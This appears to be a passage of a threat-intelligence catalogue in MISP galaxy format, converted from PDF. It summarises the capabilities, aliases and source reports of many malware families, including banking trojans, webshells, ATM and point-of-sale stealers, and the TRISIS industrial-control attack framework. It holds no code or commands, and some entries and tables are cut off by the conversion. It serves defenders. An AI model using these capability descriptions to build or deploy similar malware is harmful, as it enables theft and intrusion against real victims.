- similar: misp-galaxy:malpedia="Nokki" with estimative-language:likelihood-probability="almost-certain"

Table 11902. Table References
SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: \textit{misp-galaxy:tool=“SpyDealer”}

Table 11903. Table References

CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: \textit{misp-galaxy:tool=“CowerSnail”}

Table 11904. Table References

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: \textit{misp-galaxy:tool=“Svpeng”}

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae
TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: misp-galaxy:tool="TwoFace"

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a
command handler that uses integers within the request to determine the command to execute - To complete

The tag is: *misp-galaxy:tool=*"IntrudingDivisor"

Table 11907. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/">https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/</a></td>
</tr>
</tbody>
</table>

**JS_POWMET**

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as **JS_POWMET** (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: *misp-galaxy:tool=*"JS_POWMET"

Table 11908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**EngineBox Malware**

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a Generic Trojan by most of VirusTotal (VT) engines, let's name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool=*"EngineBox Malware"

Table 11909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://isc.sans.edu/diary/22736">https://isc.sans.edu/diary/22736</a></td>
</tr>
</tbody>
</table>

**Joao**

Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim's computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao
downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.

The tag is: misp-galaxy:tool="Joao"

View relationships graph

Joao has relationships with:

- similar: misp-galaxy:malpedia="Joao" with estimative-language:likelihood-probability="likely"

Table 11910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fireball**

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: misp-galaxy:tool="Fireball"

View relationships graph

Fireball has relationships with:

- similar: misp-galaxy:malpedia="Fireball" with estimative-language:likelihood-probability="likely"

Table 11911. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html">https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html</a></td>
</tr>
</tbody>
</table>

**ShadowPad**

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: misp-galaxy:tool="ShadowPad"

ShadowPad is also known as:
POISONPLUG

View relationships graph

ShadowPad has relationships with:

- similar: misp-galaxy:malpedia="ShadowPad" with estimative-language:likelihood-probability="likely"

Table 11912. Table References

Links


**IoT_reaper**

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: *misp-galaxy:tool="IoT_reaper"*

Table 11913. Table References

Links


**FormBook**

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: *misp-galaxy:tool="FormBook"*

View relationships graph

FormBook has relationships with:

- similar: misp-galaxy:malpedia="Formbook" with estimative-language:likelihood-probability="almost-certain"

Table 11914. Table References

Links

Dimnie

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: misp-galaxy:tool="Dimnie"

View relationships graph

Dimnie has relationships with:

- similar: misp-galaxy:malpedia="Dimnie" with estimative-language:likelihood-probability="likely"

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.

The tag is: misp-galaxy:tool="ALMA Communicator"

View relationships graph

ALMA Communicator has relationships with:

- similar: misp-galaxy:malpedia="Alma Communicator" with estimative-language:likelihood-probability="almost-certain"
Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: *misp-galaxy:tool=*"Silence"

View relationships graph

Silence has relationships with:

- similar: *misp-galaxy:malpedia=*"Silence" with estimative-language:likelihood-probability="likely"

Table 11917. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/the-silence/83009/">https://securelist.com/the-silence/83009/</a></td>
</tr>
</tbody>
</table>

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer

The tag is: *misp-galaxy:tool=*"Volgmer"

View relationships graph

Volgmer has relationships with:

- similar: *misp-galaxy:mitre-malware=*"Volgmer - S0180" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:rat=*"FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:mitre-malware=*"FALLCHILL - S0181" with estimative-language:likelihood-
Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans.

The tag is: `misp-galaxy:tool="Nymaim"`

View relationships graph

Nymaim has relationships with:

- similar: `misp-galaxy:malpedia="Nymaim"` with `estimative-language:likelihood-probability="likely"`

Table 11918. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318B">https://www.us-cert.gov/ncas/alerts/TA17-318B</a></td>
<td></td>
</tr>
</tbody>
</table>

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: `misp-galaxy:tool="GootKit"`

GootKit is also known as:

- Gootkit

View relationships graph

GootKit has relationships with:

- similar: `misp-galaxy:malpedia="GootKit"` with `estimative-language:likelihood-probability="likely"`
Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: \textit{misp-galaxy:tool=Agent Tesla}"

Ordinypt

A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.

The tag is: \textit{misp-galaxy:tool=Ordinypt}"

Ordinypt is also known as:

\begin{itemize}
  \item HSDFSDCrypt
\end{itemize}
• similar: misp-galaxy:malpedia="Ordinypt" with estimative-language:likelihood-probability="likely"

Table 11922. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**StrongPity2**

Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.

The tag is: **misp-galaxy:tool="StrongPity2"**

StrongPity2 is also known as:

• Win32/StrongPity2

Table 11923. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/">https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/</a></td>
</tr>
</tbody>
</table>

**wp-vcd**

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D’Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware’s name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: **misp-galaxy:tool="wp-vcd"**

Table 11924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MoneyTaker 5.0**

malicious program for auto replacement of payment data in AWS CBR
Quant Loader

Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.

SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.
TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: misp-galaxy:tool="TRISIS"

TRISIS is also known as:

- TRITON

Table 11928. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/blog/trisis/TRISIS-01.pdf">https://dragos.com/blog/trisis/TRISIS-01.pdf</a></td>
</tr>
</tbody>
</table>

OSX.Pirrit

macOS adware strain

The tag is: misp-galaxy:tool="OSX.Pirrit"

OSX.Pirrit is also known as:

- OSX/Pirrit

Table 11929. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf">http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf</a></td>
</tr>
<tr>
<td><a href="https://www2.cybereason.com/research-osx-pirrit-mac-adware">https://www2.cybereason.com/research-osx-pirrit-mac-adware</a></td>
</tr>
</tbody>
</table>
GratefulPOS

GratefulPOS has the following functions: 1. Access arbitrary processes on the target POS system. 2. Scrape track 1 and 2 payment card data from the process(es). 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: misp-galaxy:tool="GratefulPOS"

GratefulPOS has relationships with:

• similar: misp-galaxy:banker="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 11930. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

PRILEX

Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.

The tag is: misp-galaxy:tool="PRILEX"

PRILEX has relationships with:

• similar: misp-galaxy:malpedia="Prilex" with estimative-language:likelihood-probability="almost-certain"

Table 11931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.
Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:tool=*"Satori"

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: *misp-galaxy:botnet*="Satori" with *estimative-language:likelihood-probability*="likely"
- similar: *misp-galaxy:malpedia*="Satori" with *estimative-language:likelihood-probability*="likely"

PowerSpritz

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: *misp-galaxy:tool=*"PowerSpritz"

View relationships graph
PowerSpritz has relationships with:

- similar: misp-galaxy:malpedia="PowerSpritz" with estimative-language:likelihood-probability="almost-certain"

Table 11934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**PowerRatankba**

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: **misp-galaxy:tool="PowerRatankba"**

View relationships graph

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"

Table 11935. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ratankba**

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign's platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

The tag is: **misp-galaxy:tool="Ratankba"**

View relationships graph

Ratankba has relationships with:

- similar: misp-galaxy:malpedia="Ratankba" with estimative-language:likelihood-probability="almost-certain"

Table 11936. Table References
USBStealer

USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.

The tag is: `misp-galaxy:tool="USBStealer"`

Downdelph

Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.

The tag is: `misp-galaxy:tool="Downdelph"`

CoinMiner

Monero-mining malware
The tag is: misp-galaxy:tool="CoinMiner"

View relationships graph

CoinMiner has relationships with:

- similar: misp-galaxy:malpedia="Monero Miner" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Coinminer" with estimative-language:likelihood-probability="almost-certain"

Table 11939. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FruitFly**

A fully-featured backdoor, designed to perversely spy on Mac users

The tag is: misp-galaxy:tool="FruitFly"

View relationships graph

FruitFly has relationships with:

- similar: misp-galaxy:malpedia="FruitFly" with estimative-language:likelihood-probability="likely"

Table 11940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html#FruitFly">https://objective-see.com/blog/blog_0x25.html#FruitFly</a></td>
</tr>
</tbody>
</table>

**MacDownloader**

Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.

The tag is: misp-galaxy:tool="MacDownloader"

MacDownloader is also known as:

- iKitten

View relationships graph

MacDownloader has relationships with:

- similar: misp-galaxy:malpedia="MacDownloader" with estimative-language:likelihood-

7373
Empyre

The open-source macOS backdoor, 'Empyre', maliciously packaged into a macro'd Word document

The tag is: `misp-galaxy:tool="Empyre"`

Empyre is also known as:

- Empye

Proton

A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.

The tag is: `misp-galaxy:tool="Proton"`

Mughthesec

Adware which hijacks a macOS user's homepage to redirect search queries.

The tag is: `misp-galaxy:tool="Mughthesec"`

View relationships graph

Mughthesec has relationships with:

- similar: `misp-galaxy:malpedia="Mughthesec"` with estimative-language:likelihood-probability="likely"
Pwnet
A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.
The tag is: misp-galaxy:tool="Pwnet"

View relationships graph

Pwnet has relationships with:

• similar: misp-galaxy:malpedia="Pwnet" with estimative-language:likelihood-probability="likely"

Table 11945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

CpuMeaner
A macOS crypto-currency mining trojan.
The tag is: misp-galaxy:tool="CpuMeaner"

View relationships graph

CpuMeaner has relationships with:

• similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"

Table 11946. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

Travle
The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: misp-galaxy:tool="Travle"

Travle is also known as:

• PYLOT
Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: misp-galaxy:tool="Digmine"

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

The tag is: misp-galaxy:tool="TSCookie"

View relationships graph

TSCookie has relationships with:

- similar: misp-galaxy:malpedia="PLEAD (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TSCookie" with estimative-language:likelihood-probability="almost-certain"
Exforel

Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.

The tag is: `misp-galaxy:tool="Exforel"

Table 11950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Rotinom

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: `misp-galaxy:tool="Rotinom"

Table 11951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: `misp-galaxy:tool="Aurora"

Aurora is also known as:

• Hydraq

View relationships graph

Aurora has relationships with:

• similar: `misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"

• similar: `misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
Table 11952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit">https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/hydraq-aurora-attackers-back">https://www.symantec.com/connect/blogs/hydraq-aurora-attackers-back</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions">https://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions</a></td>
</tr>
</tbody>
</table>

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

The tag is: **misp-galaxy:tool=“Cheshire Cat”**

Table 11953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=u2Ry9HTBbZI">https://www.youtube.com/watch?v=u2Ry9HTBbZI</a></td>
</tr>
<tr>
<td><a href="https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/">https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/</a></td>
</tr>
</tbody>
</table>

Downloader-FGO

Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge.

The tag is: **misp-galaxy:tool=“Downloader-FGO”**

Downloader-FGO is also known as:

- Win32:Malware-gen
• Generic30.ASYL (Trojan horse)
• TR/Agent.84480.85
• Trojan.Generic.8627031
• Trojan:Win32/Sisproc
• SB/Malware
• Trj/CLA
• Mal/Behav-112
• Trojan.Spuler
• TROJ_KAZY.SM1
• Win32/FakePPT_i

Table 11954. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**miniFlame**

Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.

The tag is: misp-galaxy:tool="miniFlame"

Table 11955. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**GHOTEX**

PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.

The tag is: misp-galaxy:tool="GHOTEX"

Table 11956. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Shipup

Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.

The tag is: misp-galaxy:tool="Shipup"

Table 11957. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: misp-galaxy:tool="Neuron"

View relationships graph

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

Table 11958. Table References
Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk.

The tag is: misp-galaxy:tool="Nautilus"

View relationships graph

Nautilus has relationships with:

- similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: misp-galaxy:tool="Gamut Botnet"
CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives.

The tag is: `misp-galaxy:tool="CORALDECK"`

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK
- FE_APT_InfoStealer_Win_CORALDECK_1

View relationships graph

CORALDECK has relationships with:

- similar: `misp-galaxy:mitre-malware="CORALDECK - S0212"` with `estimative-language:likelihood-probability="likely"`

Table 11961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: `misp-galaxy:tool="DOGCALL"`

DOGCALL is also known as:

- FE_APT_RAT_DOGCALL
- FE_APT_Backdoor_Win32_DOGCALL_1
- APT.Backdoor.Win.DOGCALL

View relationships graph

DOGCALL has relationships with:
